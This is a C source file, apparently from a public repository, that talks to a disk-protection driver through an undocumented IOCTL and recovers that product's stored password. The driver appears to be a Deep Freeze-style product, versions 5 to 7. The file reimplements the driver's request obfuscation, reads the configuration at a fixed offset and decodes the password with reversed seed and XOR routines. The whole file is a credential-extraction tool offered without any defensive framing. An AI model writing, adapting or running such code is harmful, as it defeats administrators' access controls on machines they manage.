-
Notifications
You must be signed in to change notification settings - Fork 0
/
standard.c
149 lines (125 loc) · 3.6 KB
/
standard.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
/** None of this has been tested yet **/
#include <stdint.h>
#include <Windows.h>
#include "errors.h"
#include "ioctl.h"
#include "otp.h"
#include "shared.h"
#include "standard.h"
#pragma pack(push,1)
typedef struct {
uint32_t initial_seed;
uint16_t remaining_size;
uint16_t decoded_size;
} password_header_t;
#pragma pack(pop)
// Offset of the password in the config data
#define PASSWORD_OFFSET (0x3B6)
// Data that is encrypted then passed to the driver
// Sent with: CTRL_CONFIG_STANDARD, CTRL_CONFIG_ENTERPRISE_SIZE
static const uint8_t config_request_g[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xDC, 0xDE, 0x89, 0x67, 0x0C, 0x00, 0x00, 0x00
};
static void STD_SetPasswordHeader(password_header_t *header, const uint8_t *src)
{
const uint16_t *src16 = (const uint16_t*)src;
const uint32_t *src32 = (const uint32_t*)src;
header->initial_seed = src32[0];
header->remaining_size = src16[2];
if (header->remaining_size >= 2)
header->decoded_size = (header->remaining_size - 2) / 2;
else
header->decoded_size = 0;
}
static uint16_t STD_GetNextIOControlSeed(uint16_t seed)
{
return (((seed % 181) * 163) - ((seed / 181) * 2)) * -1;
}
static void STD_Encrypt(uint8_t *dest, const uint8_t *src, size_t size)
{
Encrypt(dest, src, size, STD_GetNextIOControlSeed);
}
// Communicates with the driver and grabs the config data
// Expects the caller to free
// Relevant to: Standard v5.x - v7.x
static int STD_RequestConfig(uint8_t **config)
{
HANDLE hDrive;
uint8_t config_request[16];
uint32_t buffer_size, recv_count;
*config = NULL;
hDrive = OpenVolume();
if (hDrive == INVALID_HANDLE_VALUE) {
// fprintf(stderr, "Cannot open C: drive\n");
return ERR_OPEN_VOLUME;
}
// Encrypt config data before sending to the driver
STD_Encrypt(config_request, config_request_g, 16);
if (!DeviceIoControl(hDrive, IOCTL_DF_CONF_REQ,
config_request, 16,
&buffer_size, 4,
&recv_count, NULL)) {
CloseHandle(hDrive);
return ERR_IOCTL_GET_CONFIG_SIZE;
}
// Make sure the returned config size seems appropriate
if (!IsGoodBufferSize(buffer_size)) {
CloseHandle(hDrive);
return ERR_IOCTL_BUFFER_SIZE;
}
// Allocate enough memory for the config data
*config = (uint8_t*)malloc(sizeof(uint8_t) * buffer_size);
if (*config == NULL) {
CloseHandle(hDrive);
return ERR_MALLOC;
}
//STD_Encrypt(config_request, config_request_g, 16);
if (!DeviceIoControl(hDrive, IOCTL_DF_CONF_REQ,
config_request, 16,
*config, buffer_size,
&recv_count, NULL)) {
free(*config);
CloseHandle(hDrive);
return ERR_IOCTL_GET_CONFIG;
}
CloseHandle(hDrive);
return 0;
}
static uint32_t STD_GetNextPasswordSeed(uint32_t seed)
{
return (uint16_t)(32597 * (seed % 177) + 2 * (seed / 177));
}
static void STD_DecodePassword(uint8_t *dest, const uint8_t *src, const password_header_t *header)
{
uint32_t seed;
uint16_t i, pass_length;
seed = header->initial_seed;
pass_length = header->decoded_size;
for (i = 0; i < pass_length; i++) {
seed = STD_GetNextPasswordSeed(seed);
dest[i] = src[(i * 2)] ^ (seed & 0xff);
}
}
int STD_RequestPassword(uint8_t *dest, size_t size)
{
int result;
uint8_t *config;
const uint8_t *password_data;
password_header_t header;
// Grab the config data
if ((result = STD_RequestConfig(&config)) != 0)
return result;
// Go to where the password is
password_data = config + PASSWORD_OFFSET;
// Read the password header
STD_SetPasswordHeader(&header, password_data);
if (size < (header.decoded_size + 1)) {
free(config);
return ERR_DEST_TOO_SMALL;
}
STD_DecodePassword(dest, (password_data + 6), &header);
dest[header.decoded_size] = '\0'; // Set null-term
free(config);
return 0;
}